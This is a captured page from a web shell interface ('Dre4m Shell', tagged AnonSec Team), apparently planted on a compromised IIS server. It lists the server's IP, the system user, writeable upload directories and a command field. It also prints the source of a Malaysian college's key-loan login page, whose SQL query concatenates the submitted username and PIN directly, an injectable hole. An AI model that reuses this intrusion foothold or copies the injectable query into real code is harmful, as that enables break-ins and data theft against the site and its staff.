Dre4m Shell
Server IP : 103.6.199.200  /  Your IP : 3.140.196.5
Web Server : Microsoft-IIS/10.0
System : Windows NT EMPUSA 10.0 build 20348 (Windows Server 2016) i586
User : EMPUSA$ ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Domains/feenixmy/kunci.feenix.my/wwwroot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Domains/feenixmy/kunci.feenix.my/wwwroot/qrinfo.php
<?php session_start();ob_start();include "conn.php";?>

<!DOCTYPE html>
<html>

<head>
<meta charset="UTF-8">
<meta content="width=device-width; initial-scale=1.0; maximum-scale=1.0;  user-scalable=0;" name="viewport">
<?php @$_SESSION['mobile'] = "<meta content='width=device-width; initial-scale=1.0; maximum-scale=1.0;  user-scalable=0;' name='viewport'>";?>
<link rel="icon" href="img/icon_SistemMaklumatKunci.png">
<link rel="stylesheet" href="set.css" type="text/css">
<link rel="stylesheet" href="qrset.css" type="text/css">
<title>Sistem Maklumat Kunci KKS2</title>
</head>

<body>
<div align="center" class="framed">
<div class="dated"><?php include "t.php";date_default_timezone_set("Asia/Kuala_Lumpur");?></div>

<div class="greet">
<?php //echo"Selamat Datang, ";if(@$_SESSION['admin']!=NULL){echo"<strong><font color='purple'>".@$_SESSION['admin']."</font></strong>";}elseif(@$_SESSION['userID']==NULL){echo"<strong><font color='purple'>STAF KOLEJ KOMUNITI SEGAMAT 2</font></strong>";}else{echo"<strong><font color='purple'>".$_SESSION['userID']."</font></strong>";}?>
</div>

<header><br /><br />
  <a href="Rak.php"><img src="img/SistemMaklumatKunci.png" height="60px"></a><br /><br /></header>
<h2><font color="#0000CC">REKOD PEMINJAMAN KUNCI</font></h2>

<?php 
if(isset($_POST['qrMasuk'])){
	if(@$_POST['IDPengguna'] == NULL || @$_POST['KataLaluan'] == NULL){
		echo "<br />ID Pengguna atau Kata Laluan anda <strong><font color='RED'>SALAH</font></strong>. Sila cuba lagi.<br />";
	}else{
		$a = mysqli_query($paut, "SELECT * FROM nms WHERE un='".@$_POST['IDPengguna']."' AND nopin='".@$_POST['KataLaluan']."'");
		while($a1=mysqli_fetch_array($a)){

		if($a1['un']!=$_POST['IDPengguna'] && $a1['nopin']!=$_POST['KataLaluan']){	
			echo "<br />ID Pengguna atau Kata Laluan anda <strong><font color='RED'>SALAH</font></strong>. Sila cuba lagi.<br />";}
		elseif($a1['un']!=$_POST['IDPengguna'] || $a1['nopin']!=$_POST['KataLaluan']){	
			echo "<br />ID Pengguna atau Kata Laluan anda <strong><font color='RED'>SALAH</font></strong>. Sila cuba lagi.<br />";}
		elseif($a1['un']==$_POST['IDPengguna'] && $a1['nopin']==$_POST['KataLaluan'] && $a1['ad']==1){	
			$_SESSION['admin']=$a1['Nms'];$_SESSION['UserID']=$a1['ids'];$_SESSION['A']="Pentadbir Sistem";
			header("Location:qr.php");ob_end_clean();
			}
		elseif($a1['un']==$_POST['IDPengguna'] && $a1['nopin']==$_POST['KataLaluan'] && $a1['ad']==0){	
			$_SESSION['staf']=$a1['Nms'];$_SESSION['UserID']=$a1['ids'];
			header("Location:qr.php");ob_end_clean();
			}
		elseif($a1['un']==$_POST['IDPengguna'] && $a1['nopin']==$_POST['KataLaluan'] && $a1['ad']==2){	
			$_SESSION['staf']=$a1['Nms'];$_SESSION['UserID']=$a1['ids'];			
			header("Location:qr.php");ob_end_clean();
			}
		else{ 	
			echo"<br /><center>ID Pengguna atau Kata Laluan anda <strong><font color='RED'>SALAH</font></strong>. Sila cuba lagi.</center><br>";
			}
		}
	}
}

//pinjam
if(@$_SESSION['KBILIK']!=NULL){
echo "<center><strong><div style='border: 1px solid rgb(70, 70, 0); padding: 10px; background-color: rgb(235, 235, 214); margin: 10px;'><font color='BLUE'><br>".$_SESSION['STAF']."</font> <font color='#000000'>telah mengambil kunci bilik</font> <font color='BLUE'>".$_SESSION['BILIK']." (".$_SESSION['KBILIK'].")<br></font><br></div></strong></center><br />";

echo "<em>This is for one-off use only. Scan QR code for next transaction</em>";}

if(@$_SESSION['infoPINJAM']!=NULL){
echo "<font color='#FFFFFF'>".@$_SESSION['nopinPINJAM']."</font><center><strong><div style='border: 1px solid rgb(70, 70, 0); padding: 10px; background-color: rgb(235, 235, 214); margin: 10px;'><font color='RED'><br>".$_SESSION['infoPINJAM']."<br></font><br></div></strong></center><br />";

echo "<em>This is for one-off use only. Scan QR code for next transaction</em>";}
?>

<br /><br />


<form name="qrlamanutama" action="Rak.php" method="post">
<input title="Ke Paparan Laman Utama" class="btn-carian" name="utama" type="submit" value="Laman Utama">
</form>

<br /><br />
<?php include"qrf.php";?>

<style>
img {
    max-width: 100%;
}

.carian2{
	max-width: 100%
}

.slc-carian2{
	max-width: 100%
}
</style>

Anon7 - 2022
AnonSec Team